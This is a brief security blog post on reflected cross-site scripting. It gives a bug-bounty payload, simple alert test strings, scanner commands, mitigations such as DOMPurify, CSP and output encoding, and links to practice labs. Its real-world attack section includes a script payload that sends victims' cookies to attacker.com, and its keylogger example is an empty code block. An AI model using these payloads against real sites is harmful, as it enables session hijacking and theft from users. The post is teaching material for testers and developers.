Reflected Cross-Site Scripting (RXSS) Vulnerability Exploitation

Shivang Maurya demonstrated a Reflected Cross-Site Scripting (RXSS) vulnerability using the following payload:

Payload:

1%27%22()%26%25%3Czzz%3E%3CScRiPt%20%3Ealert(1)%3C/ScRiPt%3E 

Endpoint:

https://example.com/login?error=1%27%22()%26%25%3Czzz%3E%3CScRiPt%20%3Ealert(1)%3C/ScRiPt%3E 

You Should Know:

1. Understanding RXSS

Reflected XSS occurs when malicious input is included in a web response without proper sanitization. Attackers craft URLs with embedded scripts, which execute when victims visit the link.

2. Testing for XSS Manually

Use these basic payloads to test for XSS vulnerabilities:

<script>alert(1)</script> 
"><script>alert(1)</script> 
javascript:alert(1) 

3. Automated XSS Scanning with Tools

• OWASP ZAP:

  zap-cli quick-scan -s xss https://example.com/login 
  

• Burp Suite:
• Intercept a request, send to Burp Repeater, and modify parameters with XSS payloads.

4. Mitigation Techniques

• Input Sanitization: Use libraries like `DOMPurify` (JavaScript):
  [javascript]
  const clean = DOMPurify.sanitize(userInput);
  [/javascript]
• Content Security Policy (CSP):

  Content-Security-Policy: default-src 'self'; script-src 'self' 
  

• Encoding Outputs:
• PHP: `htmlspecialchars($input, ENT_QUOTES, ‘UTF-8’);`
• Python (Flask): `Markup.escape(user_input)`

5. Exploiting RXSS in Real-World Attacks

• Phishing via XSS:

  https://victim-site.com/search?q=<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script> 
  

• Keylogger Injection:
  [javascript]
  
  [/javascript]

6. Practice Lab (TryHackMe/HTB)

• TryHackMe XSS Room:

  https://tryhackme.com/room/xss 
  

• HackTheBox Challenges:

  https://www.hackthebox.com 
  

What Undercode Say:

Reflected XSS remains a critical web vulnerability due to improper input handling. Developers must enforce strict input validation, output encoding, and CSP headers. For penetration testers, mastering XSS leads to discovering deeper flaws like CSRF or session hijacking.

Expected Output:

Alert popup when visiting the malicious URL, confirming script execution. 

References:

Reported By: Shivangmauryaa Bug – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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